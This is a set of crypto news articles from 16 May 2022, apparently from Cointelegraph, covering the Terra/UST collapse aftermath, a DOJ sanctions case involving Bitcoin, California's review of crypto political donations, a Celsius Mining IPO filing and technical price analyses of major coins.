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Date of publish: 2022-05-16 20:25:00

An unnamed individual allegedly sent more than $10 million in Bitcoin to an exchange in a country for which the U.S. currently imposes sanctions.

The United States Department of Justice may move forward on a criminal prosecution case against a U.S. citizen who allegedly violated sanctions through cryptocurrency.

According to a Friday opinion filing in U.S. District Court for the District of Columbia, the unnamed individual who is the subject of a criminal investigation by the Justice Department allegedly sent more than $10 million in Bitcoin (BTC) from a U.S.-based crypto exchange to an exchange in a country for which the U.S. currently imposes sanctions — suggesting Russia, Cuba, North Korea, Syria, or Iran. The filing alleged the individual “conspired to violate the International Emergency Economic Powers Act” and conspired to defraud the United States.

The individual allegedly “proudly stated the Payments Platform could circumvent U.S. sanctions” using BTC and knew about sanctions on the country. According to the filing, the U.S.-based crypto exchange had the user’s information through Know Your Customer compliance policies.

“The Department of Justice can and will criminally prosecute individuals and entities for failure to comply with [Office of Foreign Assets Control]’s regulations, including as to virtual currency,” said Magistrate Judge Zia Faruqui in his opinion. “Prohibited financial services include any transfer of funds, directly or indirectly [...] from the U.S. or by a U.S. person/entity, wherever located, to the sanctioned entity/country. And lest there be any doubt, financial service providers include virtual currency exchanges.”

Faruqui added:

“The question is no longer whether virtual currency is here to stay (i.e., FUD) but instead whether fiat currency regulations will keep pace with frictionless and transparent payments on the blockchain.”

Related: US Treasury Dept sanctions 3 Ethereum addresses allegedly linked to North Korea

The Treasury Department’s Office of Foreign Assets Control, or OFAC, is responsible for administering sanctions for the United States. Following Russia’s military invading Ukraine, the government office warned U.S. residents not to use digital assets to benefit certain Russia-based entities and individuals, and added Russia-based darknet marketplace Hydra, crypto mining services provider BitRiver, and digital currency exchange Garantex to its list of “Specially Designated Nationals,” a designation which generally prohibits Americans from doing business with them.

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Date of publish: Mon, 16 May 2022 22:25:31 +0100

Quad-stablecoin liquidity pools, an integration with Oasis Network and 12 new vaults could be the factors behind BIFI’s current triple digit gain.

Winston Churchill’s statement to “never let a crisis go to waste” can be applied across many aspects of society, including the recent carnage seen in the crypto market. Last week's volatility is likely to have newer investors and those who took on heavy losses questioning the future of the burgeoning asset class, but in every bear trend there is a silver lining.

One platform that appears to be capitalizing on the void created by TerraUSD’s (UST) collapse is Beefy Finance (BIFI), a multi-chain yield optimizing decentralized finance protocol.

Data from Cointelegraph Markets Pro and TradingView shows that after hitting a low of $387.80 on May 14, BIFI spiked 168.13% to hit a daily high of $1,040 on May 16 amids a 684% increase in its 24-hour trading volume.

Three reasons for the sudden spike in activity for BIFI are the increase in the liquidity pool options available for yield farming, a new integration with Oasis Network and the launch of 12 new vaults.

Stablecoin yields get a notable boost

The collapse of Terra (LUNA), UST and the 20% yield offered for UST deposits on Anchor Protocol (ANC) has opened the door for protocols like Beefy Finance to capture users and funds that were set adrift.

Beefy Finance has taken advantage of this opportunity by upgrading several stablecoin vaults to offer higher yields including the Curve stablecoin liquidity pool on Arbitrum, which now offers a yield of 34.9%.

Upgraded #Curve #stablecoin lp now on Beefy’s #Arbitrum network.

✅ $USDC - $USDT LP: 34.9% APY
https://t.co/zdB9WKfQ9B pic.twitter.com/eq0cbZFhmx

— Beefy (@beefyfinance) May 16, 2022

The platform has also integrated the Tron network's USDD stablecoin and depositors can earn 62.5% APY on the quad stablecoin pool comprised of USDD/BUSD/USDT/USDC.

Beefy Finance expands its ecosystem

As the cryptocurrency ecosystem slowly progresses toward a multi-chain future, Beefy Finance has also benefited from expanding the list of networks the protocol supports and the most recent addition of the Oasis Network brings the total number of supported chains supported to 15.

Take a break from staring at your portfolio and TA charts for a moment to read about Beefy's new partner, @OasisProtocol.

We are proud to build on Oasis's privacy-enabled network.
https://t.co/vyL6ludxwq

— Beefy (@beefyfinance) May 14, 2022

The integration with the Oasis Network makes Beefy Finance one of the most cross-chain compatible DeFi protocols in the ecosystem and includes support for the most active blockchains including Ethereum (ETH), BNB Smart Chain (BNB), Polygon (MATIC), Avalanche (AVAX) and Fantom (FTM).

Related: Deus Finance’s dollar-pegged stablecoin DEI falls below 60 cents

New vaults attract fresh liquidity

A third factor attracting investors to Beefy Finance is the launch of 12 new vaults within the last week.

The new vaults include support for assets from Stader.Fantom, an Oasis-based DeFi protocol called YuzuSwap, the Aurora-based protocol Trisolaris and Step.App (FITFI), which operates on Avalanche.

While the price of BIFI has managed to rally higher over the past week, it remains to be seen if the gains can hold and whether the platform will continue to see a rising TVL, especially if the current attractive yields begin to diminish.

The views and opinions expressed here are solely those of the author and do not necessarily reflect the views of Cointelegraph.com. Every investment and trading move involves risk, you should conduct your own research when making a decision.

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Date of publish: Mon, 16 May 2022 22:06:36 +0100

“This has been on our radar since late last year,” said California’s Fair Political Practices Commission communications director Jay Wierenga.

A California state regulator may be looking at overturning a ban on cryptocurrency donations to political campaigns which has been in effect since 2018.

According to its May 2022 agenda, California’s Fair Political Practices Commission, or FPPC, has scheduled a “pre-notice discussion” on Thursday on the use of cryptocurrencies f campaign contributions in the state. The commission said it will be considering drafting amendments to its regulations requiring that “no contribution may be made or received in cryptocurrency.”

In September 2018, the FPPC voted to ban both sending and receiving crypto contributions for political campaigns in the state of California, due to concerns the donations "might be utilized to circumvent contribution limits and prohibitions, or by foreign entities to contribute to campaigns." FPPC’s communications director Jay Wierenga told Cointelegraph that the commission “look[s] at trends and [tries] to stay ahead of them,” citing a March opinion in which its legal division said a campaign selling nonfugible tokens to raise funds must count "the entire amount received” as a “reportable contribution."

“This has been on our radar since late last year,” said Wierenga. “Crypto [has] obviously has grown in usage and visibility since 2019. So the Commission wants to review it and determine if any changes should be made, or not.”

According to Wierenga, the current ban on crypto political campaign contributions has not affected candidates running for office in California at a federal level, just state and local. For example, Aarika Rhodes, an elementary school teacher running to represent California’s 32nd congressional district currently held by Democrat Brad Sherman, has openly called for her supporters to donate Bitcoin (BTC) via the Lighting:

Our campaign has officially adopted Lighting for campaign contributions.⚡️

This revolutionary technology creates accessibility and looks towards the future. I am excited to provide this option to our supporters across all 50 states. #Bitcoin

— Aarika for CA-32 (@AarikaRhodes) November 30, 2021

Related: Crypto-focused PAC has used $9M to support Democratic candidates since January

Commissions and other governing bodies in U.S. states are responsible for determining whether to enforce bans on crypto political donations for state and local campaigns. South Carolina’s House of Representatives ethics committee said in 2018 that the definition of a campaign contribution did not include cryptocurrency, and Colorado capped the amount of donated in crypto to the same levels as fiat.

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Date of publish: Mon, 16 May 2022 22:00:00 +0100

MakerDAO returned to prominence after Terra’s UST collapse forced investors to search for a truly “stable” dollar pegged asset.

Its been a rough couple of weeks for the cryptocurrency market. Bitcoin (BTC) price is nowhere near the price estimates of most analysts, multiple stablecoins lost their peg and the demise of one of the top decentralized finance (DeFi) platforms sparked an event that resulted in $900 billion vanishing from the total crypto market capitalization. 

In the midst of the widespread fallout, MakerDAO (MKR) managed to turn crisis into opportunity and the collapse of TerraUSD (UST) has brought renewed attention to DAI, the longest-running decentralized stablecoin.

Data from Cointelegraph Markets Pro and TradingView shows that as the collapse of Terra (LUNA) price accelerated from May 9 to May 12, MKR climbed 66.2% from a low of $952 on May 12 to its current value of $1,587.

Three possible reasons for the MKR's reversal in momentum include DAI maintaining its peg during the recent market turmoil, the use of a MakerDAO vault to finance supply chain shipments and the addition of staked Ether (ETH) as a form of collateral to mint DAI.

DAI holds steady during strong market turbulence

One of the most significant factors giving investors more confidence in the MakerDAO ecosystem is the fact that DAI held its dollar peg during a shaky market that saw a handful of the most popular stablecoins lose their pegs.

Over the past few days DAI demand has violently contracted by 25%, but the peg is still rock solid due to the Peg Stability Modules.

Stacking DAI demand into the PSMs during the bull market gives DAI holders peace of mind during even the roughest of weeks. pic.twitter.com/XGEYndBP05

— hexonaut.eth @ Permissionless (@hexonaut) May 12, 2022

During the height of volatility, the price of DAI oscillated from a low of $0.9961 on May 11 to a high of $1.0046 on May 12 and is currently priced at $0.9994.

DAI holding steady despite a supply decrease of more than 2.2 billion DAI may have given investors more confidence, especially after Tether (USDT) briefly saw its price hit a low of $0.9704.

Real-world adoption continues

Another factor providing a boost to MKR is its growing real world adoption. Recently, the MakerDAO vault was used to finance a shipment of Australian beef and additional "use cases" are being planned.

A Maker Vault was used to finance a shipment of Australian Beef from Brisbane to Hong Kong.

On top of that, the entire operation is currently being tracked using @Mastercard Provenance, a blockchain traceability solution.

This is how it was possible

— Maker (@MakerDAO) May 10, 2022

On May 9, a MakerDAO vault was utilized in conjunction with the decentralized asset financing protocol Centrifuge to allow the trade finance provider ConsolFreight to mint DAI that was used to finance the transaction.

A nonfungible token (NFT) that contained the shipment and invoice data was also minted in the process for tracking purposes and to help keep a record of the transaction. The shipment is also being tracked using Provenance, Mastercard’s blockchain traceability solution.

This transaction helped to demonstrate one application of smart contracts and stablecoins in the supply chain industry.

Staked Ether as collateral

Another factor building momentum for MakerDAO is the addition of support for staked Ether as a form of collateral on the protocol.

sETH2 allows those participating in staking on the Ethereum BNB Chain to gain access to funds that would be otherwise locked up for an unknown amount of time and put them to use earning a yield in DeFi.

The collapse of UST, its knock-on effects and the addition of Ether as collateral positions MakerDAO as the top-ranked DeFi protocol by total value locked (TVL), according to data from Defi Llama.

MakerDAO claiming the top spot comes after Curve, another popular stablecoin liquidity protocol, saw its TVL fall from $19.32 billion on May 5 to $8.71 billion on May 16.

The views and opinions expressed here are solely those of the author and do not necessarily reflect the views of Cointelegraph.com. Every investment and trading move involves risk, you should conduct your own research when making a decision.

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Date of publish: Mon, 16 May 2022 21:15:00 +0100

Terraform Labs will put the proposal up for a governance vote on May 18 Asia time.

On Monday, Do Kwon, co-founder of the troubled Terra Luna blockchain, announced a revised plan to restore the ecosystem after a combination of significant market volatility and inherent protocol design flaws wiped out a vast majority of the blockchain's market cap. As told by Kwon, Terraform Labs will put forth a new governance proposal on May 18 to fork the Terra Luna blockchain called Terra (token name: LUNA). 

However, the new chain will not be linked to the TerraUSD (UST) stablecoin. Meanwhile, the old Terra blockchain will continue to exist with UST and will be called Terra Classic (LUNC). Under Kwon's plan, if passed, the new LUNA blockchain will go live on May 27. 

Under the proposal, new LUNA tokens will be airdropped to LUNC holders, UST holders and essential developers of the Terra Classic blockchain. In addition, Terraform Labs' wallet with the address terra1dp0taj85ruc299rkdvzp4z5pfg6z6swaed74e6 will be removed from the whitelist for the airdrop, thereby making Terra a fully community-owned chain. The proposed supply of LUNC is capped at 1 billion, with 25% going to the community pool, 5% to essential developers and 70% going to LUNC and UST holders at various snapshots of events in May, subject to vesting conditions. 

Earlier today, the Luna Foundation Guard, the ecosystems' steward, disclosed that it used up an overwhelming portion of its cryptocurrency reserves trying to defend UST's peg during market sell-off. As a result, it is unlikely that the Terra ecosystem can salvage itself without the help of external capital. Changpeng Zhao, CEO of Binance, said that he would support Terra's community but would like to see more transparency from the entity as to recent events.

2/ It has been inspiring to partake in the dynamic discourse regarding the best next steps for Terra. Taking feedback from the community and thoughtful proposals, I would like to suggest the following for the path forward.https://t.co/E13VI8bkLh

A thread on our reasoning:

— Do Kwon (@stablekwon) May 16, 2022

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Date of publish: Mon, 16 May 2022 20:15:00 +0100

BTC and most altcoins are facing strong selling at the top of each rally, but the short-term downside could be limited since Bitcoin bulls keep buying each dip.

The selling in Bitcoin (BTC) is showing no sign of abating and Bitcoin has fallen for seven straight weeks for the first time ever. This indicates that the momentum remains strongly in favor of the bears. 

While the short-term sentiment remains bearish, institutional traders seem to be taking a longer-term approach on cryptocurrencies. Goldman Sachs and Barclays joined several other institutional investors in a $70 million Series A funding round by institutional trading platform Elwood Technologies.

After the mayhem and volatility of the last week, crypto prices may attempt a relief rally in the next few days. It is unlikely to be a V-shaped recovery because the macro conditions are not supportive. During periods of high volatility and uncertainty, it might be a wise decision to cut down on the trading position size to keep risk under check.

What are the critical support and resistance levels that may indicate a potential change in trend when breached? Let’s study the charts of the top-10 cryptocurrencies to find out.

BTC/USDT

Bitcoin turned down from $3,460, suggesting that bears are selling on minor rallies. The bears will now attempt to sink the price below the crucial support at $28,805 but the bulls are likely to have other plans.

If price rebounds off $28,805, the bulls will again try to push the BTC/USDT pair to the 20-day exponential moving average (EMA) ($33,646). This is an important level to keep an eye on because a break and close above it could indicate that bulls are attempting a comeback. The pair could then rise to the 50-day simple moving average (SMA) ($39,300).

Contrary to this assumption, if the price slips below $28,805, the pair could drop to $26,700. If this support cracks, the pair could resume its downtrend and the price may plummet to $25,000 and later to $21,800.

ETH/USDT

Ether (ETH) is facing stiff resistance at the breakdown level at $2,159, which suggests that bears continue to sell on rallies. The bears will now try to pull the price below the immediate support at $1,940.

If they succeed, the ETH/USDT pair could drop to the critical support at $1,700. This is an important level for the bulls to defend because if they fail to do that, the downtrend could resume and the pair may drop to $1,500.

Contrary to this assumption, if the price turns up from $1,700, the pair could rise to $2,159 and remain range-bound between these two levels.

The first sign of strength will be a break and close above $2,159. That could clear the path for a rally to the 20-day EMA ($2,421). The bulls will have to overcome this barrier to indicate that the downtrend may be over.

BNB/USDT

BNB's strong recovery reached near the breakdown level at $320 on May 13 and 15 but the bulls could not clear this overhead barrier. This suggests that bears are attempting to flip the level into resistance.

The BNB/USDT pair could now drop to $265, which is likely to act as support. If the price rebounds off this level, the buyers will again try to drive the pair above $320. If they succeed, the pair could rally to $350 and thereafter to the 50-day SMA ($391).

Alternatively, if the price slips below $265, the pair could drop toward the strong support at $211. The bulls are expected to defend this level with vigor. A strong bounce off this support could keep the pair range-bound between $211 and $320 for the next few days.

XRP/USDT

The long wick on Ripple’s (XRP) May 13 candlestick suggests that bears are trying to pose a strong challenge near the breakdown level at $0.50. The failure to rise above this overhead resistance could have tempted short-term traders to book profits.

If the price continues lower and breaks below $0.38, the XRP/USDT pair could drop to $0.33. The bulls are expected to defend this level aggressively but if the support cracks, the bearish momentum could pick up and the pair may plummet to $0.24.

Contrary to this assumption, if the price turns up from the current level or the support at $0.38, the bulls will try to push the pair above the $0.50 to $0.55 overhead zone. If they succeed, it will suggest that the markets have rejected the lower levels. That could clear the path for a potential rally to the 50-day SMA ($0.67).

ADA/USDT

Cardano’s (ADA) relief rally is facing selling near $0.61, suggesting that bears are not willing to let go of their advantage. The bears will try to pull the price below $0.46 and retest the May 12 intraday low at $0.40.

If the price breaks below $0.40, the selling could intensify further and the ADA/USDT pair may plunge to $0.33 and later to $0.28.

Conversely, if the price turns up from the current level or the support at $0.46, it will suggest that bulls are attempting to put in a bottom. The buyers will have to push and sustain the price above the 20-day EMA ($0.68) to signal that the correction may be over. The pair could then rise to $0.74 and later to the 50-day SMA ($0.89).

SOL/USDT

Solana’s (SOL) bounce from $37 is facing stiff resistance at the 38.2% Fibonacci retracement level at $59. This suggests that bears continue to sell on minor rallies.

The bears will now try to pull the price below the immediate support at $44. If they succeed, the SOL/USDT pair could retest the crucial level at $37. A break and close below this support could sink the pair to $32.

Conversely, if the price turns up from the current level or the support at $44, it will suggest that bulls are buying on dips. The bulls will then try to clear the overhead hurdle at $59 and push the pair to the 20-day EMA ($70). This level is likely to act as a stiff resistance.

DOGE/USDT

Dogecoin’s (DOGE) recovery could not rise above the breakdown level at $0.10, suggesting that the bears are trying to flip the level into resistance. If sellers succeed in their endeavor, the likelihood of a retest of $0.06 increases.

This is an important level for the bulls to defend because a break and close below it could signal the resumption of the downtrend. The DOGE/USDT pair could then drop to $0.04 where the bulls may again try to arrest the decline.

Alternatively, if the price turns up from the current level, the bulls will attempt to clear the overhead hurdle at $0.10 and the 20-day EMA ($0.11). If they do that, the pair could rally to the 50-day SMA ($0.13).

Related: Deus Finance’s dollar-pegged stablecoin DEI falls below 60 cents

DOT/USDT

Polkadot (DOT) climbed back above the breakdown level of $10.37 on May 13 but the recovery stalled near $12. This suggests that the sentiment remains negative and traders are selling on rallies.

If bears sink the price below $10.37, the DOT/USDT pair could drift lower toward the minor support at $8. If this level cracks, the possibility of a break below $7.30 increases. The pair could then resume its downtrend and plummet toward the next strong support at $5.

Alternatively, if the price rebounds off $10.37 or $8, the bulls will attempt to push the pair above the 20-day EMA ($13). If they manage to do that, it will suggest that the short-term trend may have turned in favor of the buyers. The pair could then attempt a rally to $16.

AVAX/USDT

Avalanche’s (AVAX) recovery is facing stiff resistance at $38. The shallow rebound following a sharp decline suggests a lack of aggressive buying by the bulls. This could embolden the bears who may try to build upon their advantage.

If bears pull the price below $29, the selling could pick up momentum and the AVAX/USDT pair could drop to the critical level at $23. This is an important level for the bulls to defend because a break and close below it could result in a decline to $20 and thereafter to $18.

Contrary to this assumption, if the price turns up from the current level or $29, it will suggest that bulls are buying at lower levels. That could increase the possibility of a relief rally to the 20-day EMA ($48) where the bears may again mount a strong defense.

SHIB/USDT

Shiba Inu’s (SHIB) rebound hit a wall at the 38.2% Fibonacci retracement level at $0.000014 on May 13 and 14, indicating that bears do not want to let go of their advantage.

The bears will once again try to sink the price below the psychological level at $0.000010 and challenge the intraday low of $0.000009 made on May 12. A break and close below this level could signal the resumption of the downtrend. The SHIB/USDT pair could then decline to $0.000007, which is likely to act as a strong support.

Contrary to this assumption, if the price rebounds off $0.000010, the bulls will attempt to push the pair to the breakdown level at $0.000017. The buyers will have to clear this hurdle to suggest that the bears may be losing their grip.

The views and opinions expressed here are solely those of the author and do not necessarily reflect the views of Cointelegraph. Every investment and trading move involves risk. You should conduct your own research when making a decision.

Market data is provided by HitBTC exchange.

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Date of publish: Mon, 16 May 2022 20:00:00 +0100

The BTC futures premium flashed a slightly positive reading, but options markets show extreme fear from whales and market markers.

Bitcoin (BTC) bounced 19% from the $25,400 low on May 12, but has investor confidence in the market been restored? Judging by the ascending channel formation, it’s possible that bulls at least have plans to recover the $30,000 level in the short term.

Does derivatives data support reclaiming $30,000, or is Bitcoin potentially heading to another leg down after failing to break above $31,000 on May 16?

Bitcoin price falters in the face of regulatory concerns and the Terra debacle

One factor placing pressure on BTC price could be the Luna Foundation Guard (LFG) selling 80,081 Bitcoin, or 99.6%, of their position.

On May 16, LFG released details on the remaining crypto collateral and from one side, this project's sell-off risk has been eliminated, but investors question the stability of other stablecoins and their decentralized finance (DeFi) applications.

Recent remarks from FTX CEO Sam Bankman-Fried about proof-of-work (PoW) mining environmental and scalability issues further fueled the current negative sentiment. According to Bankman-Fried, the use of proof-of-stake (PoS) consensus is better suited to accommodate millions of transactions.

On May 14, a local United Kingdom newspaper reported the Department of Treasury's intention to regulate stablecoins across Britain. According to the Treasury spokesman, the plan does not involve legalizing algorithmic stablecoins and instead prefers 1:1 fully-backed stablecoins.

While this news might have impacted market sentiment and BTC price, let’s take a look at how larger-sized traders are positioned in the futures and options markets.

The Bitcoin futures premium is showing resilience

The basis indicator measures the difference between longer-term futures contracts and the current spot market levels. The annualized premium of Bitcoin futures should run between 5% and 10% to compensate traders for "locking in" the money for two to three months until the contract expires. Levels below 5% are bearish, while numbers above 10% indicate excessive demand from longs (buyers).

The above chart shows that Bitcoin's basis indicator moved below the 5% neutral threshold on April 6, but there has been no panic after the sell-off to $25,400 on May 12. This means that the metric is mildly positive.

Even though the basis indicator points to bearish sentiment, one must remember that Bitcoin is down 36% year-to-date and 56% below its $69,000 all-time high.

Related: $1.9T wipeout in crypto risks spilling over to stocks, bonds — stablecoin Tether in focus

Options traders are beyond stressed

The 25% options delta skew is extremely useful because it shows when Bitcoin arbitrage desks and market makers are overcharging for upside or downside protection.

If option investors fear a Bitcoin price crash, the skew indicator will move above 10%. On the other hand, generalized excitement reflects a negative 10% skew.

The skew indicator moved above 10% on April 6, entering the "fear" level because options traders overcharged for downside protection. However, the current 19% level remains extremely bearish and the recent 25.5% was the worst reading ever registered for the metric.

Although Bitcoin's futures premium was resilient, the indicator shows a lack of interest from leverage buyers (longs). In short, BTC options markets are still stressed and suggest that professional traders are not confident that the current ascending channel pattern will hold.

The views and opinions expressed here are solely those of the author and do not necessarily reflect the views of Cointelegraph. Every investment and trading move involves risk. You should conduct your own research when making a decision.

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Date of publish: Mon, 16 May 2022 19:30:00 +0100

Bitcoin could eventually attempt a relief rally which might trigger a rebound in MANA, MKR, ZEC and KCS price.

Bitcoin (BTC) has been relatively calm during the weekend as crypto traders try to rebuild the markets after the Terra LUNA debacle. With macro factors not supportive, several analysts expect the recovery to be a slow grind.

Crypto research firm Delphi Digital said in a recent report that the rally in the United States dollar index (DXY) had pushed its 14-month relative strength index “above 70 for the first time since its late 2014 to 2016 run up.”

Historically, 11 out of 14 such instances had resulted in the DXY rising about 5.7% over the following 12 months. If the inverse correlation between the DXY and Bitcoin remains intact, that could spell trouble for crypto investors.

Arthur Hayes, the former CEO of crypto derivatives platform BitMEX, said in his latest blog post that the crypto markets “must be allowed time to heal” after the bloodbath. He said that if Bitcoin drops to $20,000 and Ether (ETH) to $1,300, he would turn into a buyer.

Although crypto markets are in a downtrend, periodic bear market rallies could offer short-term trading opportunities. Let’s study the charts of the top-5 cryptocurrencies that may bounce if the sentiment improves.

BTC/USDT

Bitcoin attempted a strong bounce on May 13 but the long wick on the day’s candlestick suggests that bears are in no mood to let go of their advantage. However, a minor positive is that the bears have not been able to sustain the price below the crucial support at $28,805.

The recovery could hit a hurdle at the 38.2% Fibonacci retracement level at $31,721 and again at the 20-day exponential moving average (EMA)($33,985).

If the price turns down from either resistance, the bears will fancy their chances and try to sink the BTC/USDT pair below $26,700. If they manage to do that, the downtrend could resume. The next support on the downside is $25,000 and then $21,800.

Contrary to this assumption, if buyers drive the price above the 61.8% Fibonacci retracement level at $34,823, it will suggest that the selling pressure may be weakening. That could result in a sharp rally to the 50-day simple moving average (SMA) ($39,626) where the bears are again expected to pose a strong challenge.

The bulls are buying the dips to the critical support at $28,805 while the bears are attempting to stall the recovery at the downtrend line. The 20-EMA has flattened out and the RSI has risen to the midpoint, indicating a balance between supply and demand.

If buyers propel the price above the downtrend line, it will indicate advantage to buyers. The bulls could then push the price to $32,659. A break and close above this level could clear the path for a possible rally to the 200-SMA.

Conversely, if bears pull the price below $28,805, the pair could drop to $27,700. The bulls are likely to defend this support aggressively because a break below it could signal the resumption of the downtrend.

MANA/USDT

Decentraland (MANA) has been in a strong downtrend for the past several days. The bulls aggressively defended the decline to $0.60 on May 12 resulting in a recovery to the 20-day EMA ($1.36).

In a downtrend, the bears sell on rallies to the 20-day EMA. If the price turns down sharply from the current level, the bears will again try to retest the support at $0.60. A break and close below this level could indicate the resumption of the downtrend. The MANA/USDT pair could then extend its decline to the psychological level at $0.50.

Conversely, if bulls do not give up much ground from the current level, it will suggest that traders are buying on dips. That could enhance the prospects of a break above the 20-day EMA. If that happens, the pair could rally to the 50-day SMA ($1.94).

The strong rebound off the 0.60 level has risen above the 50-SMA. Although bears tried to pull the pair down, the bulls bought the dips to the 20-EMA. This suggests that bulls are attempting a comeback. The buyers will now attempt to push the price to the 200-SMA, which is likely to act as a strong resistance.

Contrary to this assumption, if the price turns down from the current level and breaks below the 20-EMA, it will suggest that bears are active at higher levels. That could pull the price down to $0.95. If this level cracks, the pair could retest the crucial support at $0.60.

MKR/USDT

Maker (MKR) bounced off the psychological support at $1,000 on May 12 indicating that bulls are defending this level with all their might. The bulls pushed the price to the 50-day SMA ($1,754) on May 13 but the long wick on the day’s candlestick shows strong selling at higher levels.

However, a positive sign is that the bulls did not give up ground on May 13 and resumed the relief rally. The 20-day EMA ($1,440) has started to turn up and the RSI is just above the midpoint, suggesting a minor advantage to buyers.

The bulls will attempt to drive the price above the 50-day SMA. If they succeed, it will clear the path for a possible rally to the 200-day SMA ($2,179).

Alternatively, if the price turns down from the current level or the 50-day SMA, it will suggest strong selling at higher levels. The bullish momentum could weaken if bears pull and sustain the price below the 20-day EMA.

The 200-SMA has been repeatedly acting as a strong resistance but a positive sign is that the bulls are buying the dips to the 20-EMA. This suggests a change in sentiment from selling on rallies to buying on dips.

If buyers sustain the price above the 200-SMA, the MKR/USDT pair could pick up momentum and rally to $1,800 and later to $1,900. Conversely, if the price turns down from the current level and breaks below the 20-EMA, the pair could drop to the 50-SMA.

Related: Ethereum in danger of 25% crash as ETH price forms classic bearish technical pattern

ZEC/USDT

Zcash (ZEC) has successfully held the strong support at $81 in the past few days. Although bears pulled the price below this support on May 11 and 12, they could not sustain the lower levels. This indicates strong demand from the bulls.

The ZEC/USDT pair could now rise to the 20-day EMA ($114). This level had acted as a strong hurdle during the previous pullback on May 5. Therefore, the bears will try to stall the recovery at the 20-day EMA.

If they manage to do that, the price could again drop toward the crucial support at $81. The bears will have to sustain the price below this level to start the next leg of the downtrend.

Alternatively, if bulls push the price above the 20-day EMA, the pair could rise to $135 where the bears may mount a strong defense. The bulls will have to push the price above the 200-day SMA ($150) to signal a potential change in trend.

The bulls have pushed the price above the 50-SMA on the 4-hour chart. This suggests that demand remains intact at higher levels. The 20-EMA has started to turn up and the RSI is in the positive zone, indicating that sellers may be losing their grip.

The buyers could face resistance in the zone between $108 to $116 but if they overcome this barrier, the recovery could reach $135.

On the downside, the first sign of weakness will be a break and close below $87. That could open the doors for a retest of the crucial support zone between $81 and $69. A break and close below $69 could indicate the resumption of the downtrend.

KCS/USDT

KuCoin Token (KCS) rebounded sharply off the strong support at $9 on May 12. The relief rally has risen above the first hurdle at the 38.2% Fibonacci retracement level at $12.89, which is a mild positive.

The KCS/USDT pair could next rise to the 50% retracement level at $14.95 and later rally to the critical overhead resistance at the 20-day EMA ($15.45). This is an important level to keep an eye on because a break above it could signal that the downtrend may have ended.

Contrary to this assumption, if the price turns down sharply from the current level, the bears will again attempt to sink the pair below the crucial support at $9. If this level cracks, the pair could resume its downtrend and decline to $5 and thereafter to $4.40.

The bulls have pushed the price to the 50-SMA indicating a strong comeback attempt. The 20-EMA has started to turn up gradually and the RSI has jumped into the positive territory, suggesting that the path of least resistance is to the upside.

If bulls push the price above the 50-SMA, the pair could rally to $15. The bullish momentum could pick up further if buyers overcome this barrier. This positive view could invalidate in the short term if the price turns down from the 50-SMA and breaks below $12. The bears will then try to sink the pair to the strong support at $9.

The views and opinions expressed here are solely those of the author and do not necessarily reflect the views of Cointelegraph. Every investment and trading move involves risk, you should conduct your own research when making a decision.

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Date of publish: Mon, 16 May 2022 18:35:00 +0100

The SEC requires companies in the United States to file an S-1 registration for shares to be listed on a national exchange, like the Nasdaq or New York Stock Exchange.

Celsius Mining, the mining subsidiary of crypto lending platform Celsius Network, has filed paperwork with the United States Securities and Exchange Commission, or SEC, suggesting plans for an initial public offering (IPO).

In a Monday announcement, Celsius said its mining subsidiary had filed a Form S-1 draft registration statement with the SEC, suggesting the firm may be planning an initial public offering. The SEC requires companies in the United States to file an S-1 registration for shares to be listed on a national exchange, like the Nasdaq or New York Stock Exchange.

https://t.co/RhNOsQPBqA

— Celsius (@CelsiusNetwork) May 16, 2022

Reports suggest it can take anywhere from three to six months for the SEC to approve an IPO, potentially meaning shares of Celsius Mining could be listed in the United States by the end of 2022. Crypto exchange Coinbase sent its S-1 registration statement to the SEC in December 2020 and listed its COIN shares on Nasdaq roughly five months later, in April 2021.

Founded by Alex Mashinsky in 2017, Celsius Network allows users to earn interest by holding cryptocurrencies. In June 2021, the platform invested more than $200 million into Bitcoin (BTC) mining infrastructure as well as positions in Core Scientific, Rhodium Enterprises and Luxor Technologies, later announcing the yields would be redistributed to depositors.

Related: Celsius Network execs deny rumors of significant losses amid market volatility

According to the Celsius website at the time of publication, roughly 1.7 million people use the platform, holding more than $16.9 billion in assets as of May 6. The crypto lending firm was the first in decentralized and centralized finance to hold more than $20 billion in assets under management. 

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Date of publish: Mon, 16 May 2022 18:15:00 +0100

$20,000 or $32,000? Both feature in the outlook for Bitcoin price action going forward.

Bitcoin (BTC) needs to hold current levels and work to reclaim higher ones to avoid a crash in the $20,000 range, the latest analysis warns. 

Is $20,000 incoming?

Data from Cointelegraph Markets Pro and TradingView showed BTC/USD still failing to cement $30,000 as support on the May 16 Wall Street open.

The pair had seen fresh losses after the weekly close at $31,300 — this, in itself, disappointing market participants after sealing a record seventh consecutive red weekly candle.

Even as the Luna Foundation Guard (LFG) revealed that it had sold almost all of its BTC reserves during last week's Terra (LUNA) and TerraUSD meltdown, the implied lack of future selling failed to lift the mood on markets.

"Coming days going to be very important IMO. Keep these levels, grind higher from here," popular trader Phoenix summarized in a Twitter post on the day.

"If it fails, my eyes are on $21.8K–$23.8K. Didn't expect to keep those in mind again, lol. I was wrong thinking Q1 structure was a trend reversal start."

Phoenix is far from alone in forecasting a return to levels even lower than last week's floor at just under $24,000.

Joining the consensus, fellow trader and analyst Rekt Capital likewise pointed to $20,000 being an area of interest should current levels fail to hold and buyers not materialize.

#BTC Monthly Timeframe

Price is at ~$28800 support

In 2021, $BTC formed long downside wicks against this support, indicating strong buy-side interest here

Let's see if buyer's show up soon because next major Monthly support lower down is at ~$20000 (orange)#Crypto #Bitcoin pic.twitter.com/TKcvFcSENh

— Rekt Capital (@rektcapital) May 16, 2022

Last week's action, he added, could have already created a new trading range for Bitcoin with its macro range low at $28,800 figuring as its ceiling.

"If this turns out to be the case, Macro Range Low could flip into resistance to again reject price to lower levels," he explained. 

Meanwhile, some remained cautiously optimistic on the short-term prospects, including Cointelegraph contributor Michaël van de Poppe.

"Not sure whether we'll be getting that test going around $28.4K, but this is a scenario where I'd be looking at," he told Twitter followers.

"Crucial bullish breaker is $30.2K. Overall, expecting continuation towards $32.8K for Bitcoin."

At the time of writing, BTC/USD traded at around $29,300 on Bitstamp.

Bitcoin "synonymous with volatility"

On macro, the picture remained broadly similar to recent weeks: stocks under pressure amid an ongoing surge in U.S. dollar strength.

Related: First 7-week losing streak in history ― 5 things to know in Bitcoin this week

The U.S. dollar index (DXY) hit 105 on May 13, and as of May 16, was attempting to retest that level, which saw a rejection at the time.

The S&P 500 was down 0.65% on the day, while the Nasdaq 100 lost 1.3%.

Twitter stock again hit the headlines, this time underperforming tech stocks to trade at less than it had done before Elon Musk announced his 9% equity stake and takeover bid.

